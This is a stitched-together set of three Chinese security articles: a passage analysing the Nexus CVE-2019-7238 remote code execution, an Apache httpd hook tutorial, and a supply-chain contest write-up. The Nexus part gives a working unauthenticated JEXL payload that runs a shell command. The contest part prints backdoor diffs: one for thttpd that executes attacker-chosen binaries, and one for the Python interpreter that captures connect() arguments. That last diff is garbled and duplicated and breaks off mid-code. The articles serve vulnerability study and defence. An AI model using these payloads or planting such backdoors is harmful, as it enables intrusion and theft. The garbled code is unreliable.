`8081`为Web管理端口映射，`5050`为JDWP调试端口映射，`nexus-data`为数据目录，`INSTALL4J_ADD_VM_PARAMS`为调试参数。
Github下载 Nexus 源码：
git clone https://github.com/sonatype/nexus-public.git
并且切换至 `3.14.0-04` 分支：
git checkout -b release-3.14.0-04 remotes/origin/release-3.14.0-04
IDEA配置远程调试信息
成功后可以在`org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter`进行断点测试。
## 漏洞分析
Payload:
POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 825
Connection: close
{
"action":"coreui_Component",
"method":"previewAssets",
"data":[
{
"page":1,
"start":0,
"limit":50,
"sort":[
{
"property":"name",
"direction":"ASC"
}],
"filter":
[
{
"property":"repositoryName",
"value":"*"
},
{
"property":"expression",
"value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')"
},
{
"property":"type",
"value":"jexl"
}]
}],
"type":"rpc",
"tid":8
}
查看Servlet Filter配置：
`src/main/resources/overlay/etc/jetty/nexus-web.xml`
com/softwarementors/extjs/djn/router/dispatcher/DispatcherBase.java:63
解析JSON后进行调度，调用栈如下：
dispatch:63, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
dispatchStandardMethod:73, StandardRequestProcessorBase (com.softwarementors.extjs.djn.router.processor.standard)
processIndividualRequest:502, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processIndividualRequestsInThisThread:150, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
process:133, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processJsonRequest:83, RequestRouter (com.softwarementors.extjs.djn.router)
processRequest:632, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
doPost:595, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
doPost:155, ExtDirectServlet (org.sonatype.nexus.extdirect.internal)
service:707, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:286, ServletDefinition (com.google.inject.servlet)
doService:276, ServletDefinition (com.google.inject.servlet)
service:181, ServletDefinition (com.google.inject.servlet)
service:71, DynamicServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:85, SecurityFilter (org.sonatype.nexus.security)
call:365, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:383, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:362, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:101, SecurityFilter (org.sonatype.nexus.security)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:108, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:97, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:68, ErrorPageFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
doFilter:135, GuiceFilter (com.google.inject.servlet)
doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
doFilter:1634, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doHandle:533, ServletHandler (org.eclipse.jetty.servlet)
handle:146, ScopedHandler (org.eclipse.jetty.server.handler)
handle:548, SecurityHandler (org.eclipse.jetty.security)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:257, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1595, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1317, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:203, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:473, ServletHandler (org.eclipse.jetty.servlet)
doScope:1564, SessionHandler (org.eclipse.jetty.server.session)
nextScope:201, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1219, ContextHandler (org.eclipse.jetty.server.handler)
handle:144, ScopedHandler (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:175, InstrumentedHandler (com.codahale.metrics.jetty9)
handle:126, HandlerCollection (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:531, Server (org.eclipse.jetty.server)
handle:352, HttpChannel (org.eclipse.jetty.server)
onFillable:260, HttpConnection (org.eclipse.jetty.server)
succeeded:281, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:102, FillInterest (org.eclipse.jetty.io)
run:118, ChannelEndPoint$2 (org.eclipse.jetty.io)
runTask:333, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:310, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:168, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:126, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:366, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:762, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:680, QueuedThreadPool$2 (org.eclipse.jetty.util.thread)
run:748, Thread (java.lang)
调度后进入关键的`PagedResponse<AssetXO> previewAssets`
org.sonatype.nexus.coreui.ComponentComponent#previewAssets
可以发现可以未授权访问，`parameters.getFilter`获取`type`、`expression`等参数，根据`type`进入对应分支调用`jexlExpressionValidator.validate`函数
org.sonatype.nexus.selector.JexlExpressionValidator#validate
继续将恶意表达式字符串传入`JexlSelector`构造函数
org.sonatype.nexus.selector.JexlSelector#JexlSelector
恶意表达式字符串创建表达式对象并存入`this.expression`成员，层层返回后，调用接着将参数传入`browseService.previewAssets`
org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets
继续跟踪`countAssets`接口
org.sonatype.nexus.repository.storage.StorageTxImpl#countAssets(java.lang.String,
java.util.Map<java.lang.String,java.lang.Object>,
java.lang.Iterable<org.sonatype.nexus.repository.Repository>,
java.lang.String)
org.sonatype.nexus.repository.storage.MetadataNodeEntityAdapter#countByQuery
调用栈很长，直接跳到最关键的位置
org.sonatype.nexus.internal.selector.SelectorManagerImpl#evaluate
`selectorConfiguration`作为参数创建`Selector`对象，然后调用`evaluate`函数
org.sonatype.nexus.selector.JexlSelector#evaluate
最终的表达式注入点，执行了上方创建的恶意表达式对象`this.expression`，完成任意命令执行。
# 参考
<https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019>
[https://lucifaer.com/2019/02/19/Nexus%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-7238%EF%BC%89/](https://lucifaer.com/2019/02/19/Nexus
Repository Manager 3 远程代码执行漏洞分析（CVE-2019-7238）/)
<https://www.anquanke.com/post/id/202867>
<https://commons.apache.org/proper/commons-jexl/>
<https://commons.apache.org/proper/commons-jexl/xref-test/org/apache/commons/jexl3/examples/package-frame.html> | 社区文章 |
# Apache安全——挂钩分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Apache
是一个被广泛使用的web服务器，这段时间爆出了很多关于Apache挂钩模块的漏洞，比如CVE-2021-40438、CVE-2021-22986等等，为了更好的理解漏洞挖掘的原理以及梳理知识体系，本文从Apache挂钩模块的角度分析Apache安全。笔者将从什么是挂钩、调试环境搭建、挂钩操作流程、自己编写挂钩等多个角度给大家无死角的介绍隐藏在挂钩中的安全问题。
## 0x01 挂钩简介
### 0x1 简介
为了让Apache
2.0版本能够更模块化，更具拓展性，Apache采取了更加灵活的处理策略—“模块自行管理”策略，即挂钩（Hooks）的概念。Hooks的使用将函数从静态变为动态，模块编写者可以通过Hooks自行增加处理句柄，而不需要所有的模块都千篇一律。因此，每次增加新函数时，唯一修改的就是函数所在的模块而已。
想必大家已经对Apache挂钩有了基本的认识，本文主要记录在学习挂钩过程中思考总结的东西。打算从apache默认挂钩开始分析，比如Basic认证模块，通过分析标准挂钩的声明、注册、使用，打造属于自己的挂钩已经挂钩处理函数，下面开始进入正题。
### 0x2 环境搭建
docker 调试环境
docker run -it 8237:80 turkeys/apache:2.4.41 bash
源码安装可参考
<https://www.yuque.com/docs/share/771a78c6-7fca-44c7-9cb3-6d1fb3594921?#>
《Apache 源码编译及调试》
## 0x02 挂钩名词梳理
我们以Aapche内部挂钩为例详细分析整个Apache挂钩操作过程中的操作细节。
**因为Apache挂钩知识点比较多，为了方便理解，从宏观角度首先给大家引入几个概念，以及梳理其中的关系** 。主要涉及到了以下几个名词和几个动词
n:
* 挂钩
* 挂钩数组
* 挂钩结构
* 挂钩注册函数
* 挂钩处理函数
v:
* 声明挂钩
* 声明挂钩数组
* 声明挂钩结构
* 注册挂钩处理函数
* 注册挂钩函数
猛的一看这些名词及其相似，但细细品味还是有很多不同的，我们暂且把其关系用下图表示：
1.挂钩的名字需要在 **声明挂钩** 中指定，同时在声明挂钩的过程中定义了很多挂钩信息
2.每个挂钩有一个 **数组结构** 用来保存该挂钩信息
3.利用 **挂钩结构** 保存 **挂钩数组**
4.每个挂钩需要利用 **挂钩注册函数** 去单独注册
5.在 **声明挂钩** 的同时会产生 **注册挂钩处理函数的函数、挂钩执行函数、获取挂钩函数的函数**
6. **挂钩处理函数** 需要 **注册挂钩处理函数的函数** 才能注册到对应的 **挂钩数组** 中
可能看着上面的流程图也会感觉到懵逼，不过没关系我们具体结合着Apache源码，一起品尝其中的知识盛宴。
## 0x03 挂钩操作流程
在一个挂钩的生命周期中要经历以下过程：
1.声明挂钩
2.声明挂钩数组
3.声明挂钩结构
4.声明挂钩函数调用类型
5.编写挂钩函数
6.注册挂钩函数
这个过程有线性调用也有回调函数，我们由浅入深具体分析下整个挂钩操作流程。
### 0x1 声明挂钩
声明一个挂钩的结构类型，用来保存挂钩的相关定义。Apache中关于挂钩的实现大部分通过宏来完成，先看下怎么去声明一个挂钩
AP_DECLARE_HOOK(int,check_user_id,(request_rec *r))
* * *
对应的宏定义在ap_hooks.h文件中体现，发现它是由 APR_DECLARE_EXTERNAL_HOOK 宏实现的，再次寻找调用。
/**
* Declare a hook function
* @param ret The return type of the hook
* @param name The hook's name (as a literal)
* @param args The arguments the hook function takes, in brackets.
*/
#define AP_DECLARE_HOOK(ret,name,args) \
APR_DECLARE_EXTERNAL_HOOK(ap,AP,ret,name,args)
* * *
APR_DECLARE_EXTERNAL_HOOK 宏定义如下，这个是Hook声明的核心处理代码
我们来捋一捋其中都干了什么事，关于宏定义的分析需要点前置知识。
1.##宏主要用来连接它两边的字符串，形成一个新的字符串
2.typedef 为类型取一个新的名字，但仅限于为类型定义符号名称，由编译器执行解释
3.#define 给类型和数值起别名，由与编译器进行处理
首先对这段代码进行编译处理
通过上述代码可以看出该代码的五个功能
**1\. 定义挂钩执行函数原型**
ap_HOOK_check_user_id_t 为挂钩在实际调用过程中的处理函数，我们所有的注册的函数都将会通过这个函数执行。
**2\. 定义挂钩注册函数原型**
如图中的ap_hook_check_user_id
AP_DECLARE(void) ap_hook_check_user_id(ap_HOOK_check_user_id_t *pf,
const char * const *aszPre,
const char * const *aszSucc, int nOrder);
简单解释下他的几个参数的含义：
* ap_HOOK_check_user_id_t 为执行函数原型，为挂钩内部函数，最终会加入到在处理请求期间的指定调用列表中。
* aszPre规定必须在这个函数之前调用的函数模块
* aszSucc规定必须在这个函数之后调用的函数模块
* nOrder 挂钩的综合排序参数，如果这个数值越低，那么这个挂钩函数在列表中排列将越靠前，因此也越早被调用。其定义如下图所示
**3\. 声明挂钩调用函数**
AP_DECLARE(int) ap_run_check_user_id args;
在声明这些挂钩后就要调用挂钩函数了，不同的挂钩函数对应的调用函数不同不过都长 **ap_run_xxx ，**
这写个挂钩调用函数会在request.c里调用
**4\. 获取挂钩定义函数**
宏定义展开后如下图所示，生成挂钩访问函数原型，在模块外部可以调用该函数获得注册为该挂钩的所有函数。
**5\. 定义挂钩信息保存结构**
typedef struct ap_LINK_check_user_id_t
{
ap_HOOK_check_user_id_t *pFunc;
const char *szName;
const char * const *aszPredecessors;
const char * const *aszSuccessors;
int nOrder;
} ap_LINK_check_user_id_t;
该宏定义了一个结构类型，用来保存挂钩的相关定义信息。由于同一个挂钩会有多个模块对其感兴趣并实现该挂钩，同一个挂钩所有的实现都保存在一个链表中，链表中的每一个元素都是
**ap_LINK_check_user_id_t** 结构
### 0x2 声明挂钩数组
对于同一挂钩，不同模块对应于它的处理函数各不相同，为了能够保存各个模块对同一挂钩的使用信息，Apache使用 **apr_array_header_t**
数组进行保存，该数组通过宏APR_HOOK_LINK声明，在request.c中的声明方式
其宏定义如下，很简单针对每个挂钩声明了一个 **apr_array_header_t** 数组
/** macro to link the hook structure */
#define APR_HOOK_LINK(name) \
apr_array_header_t *link_##name;
关于挂钩的大部分信息都由下面这个结构提供，这里就不展开讲了，我们只需要知道 apr_array_header_t 里面实现了动态数组结构，可以动态的插入查询
**ap_LINK_xxxx** 结构。
### 0x3 声明挂钩结构
为什么设计挂钩结构，主要是因为在Apache2.0中并不支持直接访问挂钩数组，目前的操作是将所有的数组通过宏定义实现一个统一的结构体。
ARP_HOOK_STRUCT()
该宏展开后实际上定义了一个限于模块内部的_hooks结构，该模块内所实现的所有挂钩的对应数组都保存为_hooks的成员。Apache
对挂钩数组的访问都要通过_hooks来实现。
### 0x4 注册挂钩函数
挂钩数组、挂钩结构声明过后，需要使用 AP _IMPLEMENT_HOOK_RUN_ (FIRST|ALL)
创建挂钩数组，并通过APR_IMPLEMENT_EXTERNAL_HOOK_BASE 宏实现了我们所需要的挂钩注册函数及挂钩信息获取函数。使用方法如下：
AP_IMPLEMENT_HOOK_RUN_FIRST(int,check_user_id,(request_rec *r), (r), DECLINED)
AP_IMPLEMENT_HOOK_RUN_ALL(int,fixups,(request_rec *r), (r), OK, DECLINED)
以 AP_IMPLEMENT_HOOK_RUN_ALL 为例进行分析，最终会在 APR_IMPLEMENT_EXTERNAL_HOOK_BASE
中实现核心功能。从宏定义中可以看出它实现了 **ap_hook_xxxx** 和 **ap_run_xxxx** 两个函数。
核心功能是使用apr_array_make创建每个挂钩对应的apr_array_header_t数组，并通过apr_array_push函数向_hooks结构体添加元素。
PS:
RUN_FIRST：被调用的 hook函数的返回值为 OK 或者是DECLINE时，后面的hook是不被执行的。
RUN_ALL：被调用的 hook函数的返回值不为 DECLINE时，已经加载的hook将被全部执行。
### 0x5 编写挂钩处理函数
关于挂钩的声明和注册操作到这里就接近尾声了，下面就是如何使用挂钩的相关操作，步骤如下
* 编写挂钩处理函数
* 通过register_hooks 注册函数
* 添加 AP_DECLARE_MODULE
static void some_hook(request_rec *r){
ap_rputs("some hook");
return;
}
static void register_hooks(apr_pool_t *p)
{
ap_hook_check_authn(some_hook, NULL, NULL, APR_HOOK_MIDDLE,
AP_AUTH_INTERNAL_PER_CONF);
ap_hook_fixups(authenticate_basic_fake, NULL, NULL, APR_HOOK_LAST);
ap_hook_note_auth_failure(hook_note_basic_auth_failure, NULL, NULL,
APR_HOOK_MIDDLE);
}
AP_DECLARE_MODULE(auth_basic) =
{
STANDARD20_MODULE_STUFF,
create_auth_basic_dir_config, /* dir config creater */
merge_auth_basic_dir_config, /* dir merger --- default is to override */
NULL, /* server config */
NULL, /* merge server config */
auth_basic_cmds, /* command apr_table_t */
register_hooks /* register hooks */
};
查遍APACHE的所有文件，也不能找到ap_hook_header_parser和ap_hook_post_read_request等函数声明和实现，这是因为挂钩注册函数是通过宏AP_IMPLEMENT_HOOK_VOID/AP_IMPLEMENT_HOOK_RUN_ALL/AP_IMPLEMENT_HOOK_RUN_FIRST来实现的。
### 0x6 小结
通过对挂钩操作流程的了解，想必大家都想整出来个自己的hook链，为了增强动手实践能力，在接下来的两节内容里带着大家编写自己的挂钩处理函数以及一起调试Basic挂钩处理函数的相关流程。
## 0x04 编写自己的挂钩
# 下载http源码
wget http://archive.apache.org/dist/httpd/httpd-2.4.41.tar.gz
### **1\. 声明挂钩**
在http_request.h中声明自己设计的挂钩
AP_DECLARE_HOOK(int,monkey_boy,(request_rec *r))
### 2\. 声明挂钩数组和结构
在request.c 中进行声明
APR_HOOK_LINK(monkey_boy)
### 3\. 注册挂钩
在request.c 中注册挂钩
AP_IMPLEMENT_HOOK_RUN_FIRST(int,monkey_boy,
(request_rec *r), (r), DECLINED)
### 4\. 编写挂钩处理函数
在mod_auth_basic.c模块中的register_hooks函数中添加
ap_hook_monkey_boy(monkey_boy_founction,NULL, NULL, APR_HOOK_MIDDLE);
### 5\. 注册挂钩处理函数
static void monkey_boy_founction(request_rec *r){
ap_rputs("Hello Monkey!!",r);
return;
}
后续直接进行编译即可使用
### 6\. 编译使用
>
> 使用apache扩展工具apxs可以为apache编译和安装扩展模块。新安装的模块将作为动态共享对象提供给apache，因此，apache运行的平台必须支持DSO特性，并且httpd必须内建mod_so模块。这样才能使用mod_so提供的LoadModule指令在运行时将模块加载到apache服务器中。
主要介绍为已运行的apache添加mod_proxy模块，先定位到apache源码中modules/proxy目录。然后使用apxs进行编译安装，编译指令为
/usr/local/apache2/bin/apxs -i -c -a mod_proxy.c proxy_util.c
#-c表示进行编译
#-i表示将生成的模块安装到apache的modules目录下
#-a选项在httpd.conf中增加一条LoadModule指令以载入刚安装的模块，或者如果此指令已存在，则启用之
#-n选项显式地指定模块名称
模块查询指令
#查看apache支持的模块：
httpd -l
#查看apache载入的模块：
httpd -t -D DUMP_MODULES
安装成功以后将在apache的modules目录下生成mod_proxy.so文件，并且在httpd.conf中加入了一行
LoadModule proxy_module modules/mod_proxy.so
proxy只是核心模块，具体使用时还需要其它模块的支持，安装方法类似。
/usr/local/apache2/bin/apxs -i -c -a mod_proxy_http.c
/usr/local/apache2/bin/apxs -i -c -a mod_proxy_ftp.c
/usr/local/apache2/bin/apxs -i -c -a mod_proxy_connect.c
同样，安装后在apache的modules目录中生成了mod_proxy_http.so, mod_proxy_ftp.so,
mod_proxy_connect.so文件。并且在httpd.conf中添加了如下行：
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
这样，mod_proxy模块就安装好了，进行具体的应用配置，重启apache就可以了。
## 0x05 调试Basic挂钩处理函数
为了更好的理解钩子以及钩子处理函数在Apache运行过程的影响，打算调试下Basic挂钩处理函数在Apache程序中扮演的角色。
我们在mod_auth_basic.c 中注册了自己的hook处理函数，从Apache的Hook 执行函数作为调试的起点
### 0x1 调试准备工作
在调试机上安装了gdb、pwndbg等调试工具，查看httpd进程pid号（因为负载均衡的原因会有多个子进程），选择其中一个子进程进行attach
gdb --pid 84370
因为在编译过程中添加了-g选项，所以可以对Apache及其模块进行源码调试。
### 0x2 调试hook执行函数
在Apache中hook执行函数在ap_process_request_internal函数中被调用，为了处理自己的钩子函数，我们在代码的开始部分添加自己的hook执行函数，如下图所示
在第296行，ap_run_check_user_id中进行了basic校验，结合basic的注册函数可能很多人产生了疑问，命名注册的是ap_hook_check_authn
为什么在执行的时候跑到了ap_run_check_user_id链中。
这是因为在ap_hook_check_authn 函数实现中调用了ap_hook_check_user_id 注册函数
* * *
在gdb调试过程中有个比较有意思的现象，ap_run_check_user_id 找不到函数定义，在调试时一直显示下面状态
通过汇编代码可以看出其调用逻辑，其实这个就是在挂钩声明时声明的挂钩执行函数，他的方法实现是在挂钩注册函数中进行的
call qword ptr [rbx] 在动态调用链式函数地址，当前函数地址是 authenticate_basic_user
正好是Basic处理函数，其实这里可以通过ida查看 ap_run_check_user_id 函数反编译代码来进行分析
从ap_process_request_internal函数出来后的相关逻辑，因为access_status
返回值为-1所以没有执行ap_invoke_handler函数，从而报了401 Unauthorized 的错误
## 0x06 总结
通过阅读Apache源码的方式解决了一开始的很多疑问，在最后的总结部分我也打算换种方式去做，把我之前存在的问题和分析过源码后获得到的答案以问答的方式总结出来。
### 0x1 能否简单描述挂钩是如何构造的？
在Apache中构造个挂钩要经历， **声明** 、 **注册** 两个大阶段，声明主要是定义一些挂钩 **变量** 和 **函数，**
而注册可以理解为声明阶段注册的 **变量** 和 **函数** 进行 **赋值** 和 **实现** ，那么整体来讲声明和注册函数分为以下几种
**1\. 声明阶段**
宏定义
AP_DECLARE_HOOK //声明挂钩
APR_HOOK_LINK //声明挂钩数组
ARP_HOOK_STRUCT //声明挂钩结构
声明的变量和函数
ap_hook_xxxx
ap_run_xxxx
ap_LINK_xxxx
**2\. 注册阶段**
宏定义
AP_IMPLEMENT_HOOK_RUN_(FIRST|ALL) //注册挂钩
### 0x2 能否简单描述挂钩是如何使用的？
关于挂钩的使用就相对来说比较简单了，在 **声明** 和 **注册** 阶段之后预留了两个主要的功能函数 **ap_hook_xxxx** 和
**ap_run_xxxx，** 一个负责注册一个负责使用
在模块注册钩子的时候使用的ap_hook_xxxx函数
在request.c 中有调用钩子的执行函数
### 0x3 从逆向分析的角度讲，哪些方面更容易存在问题？
我们关注的是request.c
主程序的调用逻辑以及每个钩子的注册类型，重点关注在钩子处理函数中的代码逻辑，并综合判断它在主程序中对整个钩子执行链的影响，关于这一点可以参考对于CVE-2021-22986
漏洞的分析。其次本文也为分析Apache httpd mod_proxy SSRF漏洞CVE-2021-40438做了铺垫。下篇文章将详细分析httpd
mod_proxy中出现的漏洞。
## 参考文献
<https://wenku.baidu.com/view/2bfc9c07a6c30c2259019ee2.html> | 社区文章 |
# 功守道 | 软件供应链安全大赛•C源代码赛季官方赛题精选
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
软件供应链安全的问题，无异于潘多拉的盒子。本次软件供应链安全大赛，通过在限定框架范围，打开魔盒释放出一定、低害但超出早先人们认知的程序恶意，将其公之于众，以使得人们对其不再毫无防备，从而能够前摄性的研发对应的解决之道。
大赛通过对外公开招募，形成了具有红蓝对抗关系的两支队伍：出题队（蓝军）与解题队（红军），组织方则负责提供比赛资源和平台，担当题目审核、防作弊混淆、赛事仲裁的第三方角色。纵览整个C源代码赛季，我们从出题队提供的约600道题目中，精选了若干道（组）最具有代表性、新颖性甚至让人不寒而栗的题目进行剖析，来展示出题队攻击思维的冰山一角。
在此需要特别强调：本文中所列举的所有恶意代码，仅用于彰显那些当前有安全人员可能想到的恶意行为；考虑到真正的威胁永远源于未知，这些题目所搭载的恶意行为类型，实质上在曝光的同时就已经失去最大威胁，但由于信息不对等，在真实场景仍然可能会被利用。所以所有读者需要在阅读同时，需要保证绝不会将这里的思路，以及由此延展出的思维用于真实场景。困兽：经典赛题示例。
## 一、thttpd后门陷阱
从基础软件或应用上面入手，稳定可控的后门是最佳选择。而在一个无关应用中突兀地出现网络连接，隐蔽性总归很差；在thttpd当中，以很袖珍的代码实现稳定的后门，是这里首先要呈现的一个题目。
在thttpd项目，恶意代码嵌入到libhttpd.c文件中，上下游恶意代码相关上下文：
/thttpd/libhttpd.c
—- malware/libhttpd.c
** httpd_parse_request( httpd_conn hc )
** 2102,2107 **
—- 2102,2113 ——
cp += strspn( cp, “ t” );
hc->useragent = cp;
}
else if ( strncasecmp( buf, “TE:”, 3 ) == 0)
{
cp = &buf[3];
cp += strspn( cp, “ t”);
hc->hs->cgi_pattern = cp;
}
else if ( strncasecmp( buf, “Host:”, 5 ) == 0 )
{
cp = &buf[5];
* cgi_child( httpd_conn hc )
** 3560,3565 **
—- 3566,3576 ——
### HAVE_SIGSET
/ Run the program. /
if ( strstr( hc->acceptl, “en;q=1.1”) != (char*)0 )
{
binary = argp[1];
argp++;
}
(void) execve( binary, argp, envp );
/ Something went wrong. /
后门会根据http头判断是否开启cgi功能，并根据http头Accept-Language决定解析执行文件的路径。上述代码段中，首先通过http头TE:设置开启cgi功能（对应上述代码中，httpd_parse_request函数中插入的else
if ( strncasecmp( buf, “TE:”, 3 ) == 0) {…}代码块）。而下游代码同样巧妙，指定特殊的Accept-Language: en;q=1.1决定是否执行指定的系统命令（即cgi_child函数插入的if ( strstr( hc->acceptl,
“en;q=1.1”) != (char*)0 ) {…}代码块）。
本例恶意行为的主要特点：
•
该后门的嵌入，新增代码量极小（共7行），巧妙借用了thttpd处理用户请求、cgi的原本逻辑，借用了execve的调用，没有任何新增的API调用等行为，可以躲避有意识的行为特征匹配检测。
•
该后门在代码中的插入，分布在了存在逻辑关联的上下游两个位置，在源代码分析领域，属于过程间代码扫描问题，对于基于语义的源代码静态扫描方案也提出了很高的要求。
## 二、Python上帝之手
对生产环境上运行的任意程序获取控制、检查、按需泄漏的权力，很难做的轻量、了无痕迹，总会有鲜明的行为特征被人察觉；但是针对解释执行类型的语言，只需要在解释器上稍动手脚，就可以实现四两拨千斤的效果。本次比赛有两只出题队不约而同地采用了这个思路，分别在Python和Lua解释器上实现了巧妙的污染来实现非破坏性的定向攻击，此处以Python为例展示。
恶意行为完整代码，嵌入到了Python/symtable.c文件中的多个位置，完整的新增内容如下：
* /Python3.6.6rc1/Python/symtable.c
—- malware/symtable.c
4,9 *
—- 4,16 ——
### include “symtable.h”
**include “structmember.h”**
* static int PyArglen;
* static int PyCurpos;
### define PyMaxpos 512
* static char PyBuffer[PyMaxpos];
* static int
symtable_visit_Dynamic(struct symtable st, expr_ty e);
+
/ error strings used for warnings */
### define GLOBAL_AFTER_ASSIGN
“name ‘%U’ is assigned to before global declaration”
* symtable_visit_stmt(struct symtable st,
** 1386,1391 **
—- 1393,1403 ——
static int
symtable_visit_expr(struct symtable *st, expr_ty e)
{
PyObject s, n;
+
int iN , iNN[4];
char cS , tS;
+
if (++st->recursion_depth > st->recursion_limit) {
PyErr_SetString(PyExc_RecursionError, "maximum recursion depth exceeded during compilation");
* symtable_visit_expr(struct symtable st,
** 1465,1470 **
—- 1477,1489 ——
VISIT_SEQ(st, expr, e->v.Compare.comparators); break;
case Call_kind:
if (e->v.Call.func->kind == Name_kind)
{
if (_PyUnicode_EqualToASCIIString(e->v.Call.func->v.Name.id, “connect”))
{
PyArglen = e->v.Call.args->size;
}
}
VISIT(st, expr, e->v.Call.func);
VISIT_SEQ(st, expr, e->v.Call.args);
VISIT_SEQ_WITH_NULL(st, keyword, e->v.Call.keywords);
* symtable_visit_expr(struct symtable st,
** 1478,1485 **
—- 1497,1532 ——
VISIT_SEQ(st, expr, e->v.JoinedStr.values);
break;
case Constant_kind:
break;
case Num_kind:
if (PyArglen > 0)
{
n = e->v.Num.n;
iN = PyLong_AsLong(n);
sprintf(iNN,”%d”,iN);
if (PyCurpos + strlen(iNN) < PyMaxpos - 1)
{
memcpy(PyBuffer + PyCurpos, iNN, strlen(iNN));
PyCurpos += strlen(iNN);
PyBuffer[PyCurpos++] = ‘|’;
}
PyArglen—;
}
break;
case Str_kind:
if (PyArglen > 0)
{
n = e->v.Num.n;
iN = PyLong_AsLong(n);
sprintf(iNN,”%d”,iN);
if (PyCurpos + strlen(iNN) < PyMaxpos - 1)
{
memcpy(PyBuffer + PyCurpos, iNN, strlen(iNN));
PyCurpos += strlen(iNN);
PyBuffer[PyCurpos++] = ‘|’;
}
PyArglen—;
}
break;
case Str_kind:
if (PyArglen > 0)
{
s = e->v.Str.s;
cS = PyUnicode_DATA(s);
if (PyCurpos + strlen(cS) < PyMaxpos - 1)
{
memcpy(PyBuffer + PyCurpos, cS, strlen(cS));
PyCurpos += strlen(cS);
PyBuffer[PyCurpos++] = ‘|’;
}
PyArglen—;
}
break;
case Bytes_kind:
case Ellipsis_kind:
case NameConstant_kind:
* symtable_visit_expr(struct symtable st,
** 1517,1522 **
—- 1565,1578 ——
VISIT_SEQ(st, expr, e->v.Tuple.elts);
break;
}
+
if (PyArglen == 0 && PyCurpos > 0)
{
PyCurpos = 0;
symtable_visit_Dynamic(st, e);
memset(PyBuffer, 0, PyMaxpos);
}
+
VISIT_QUIT(st, 1);
}
* symtable_visit_dictcomp(struct symtable
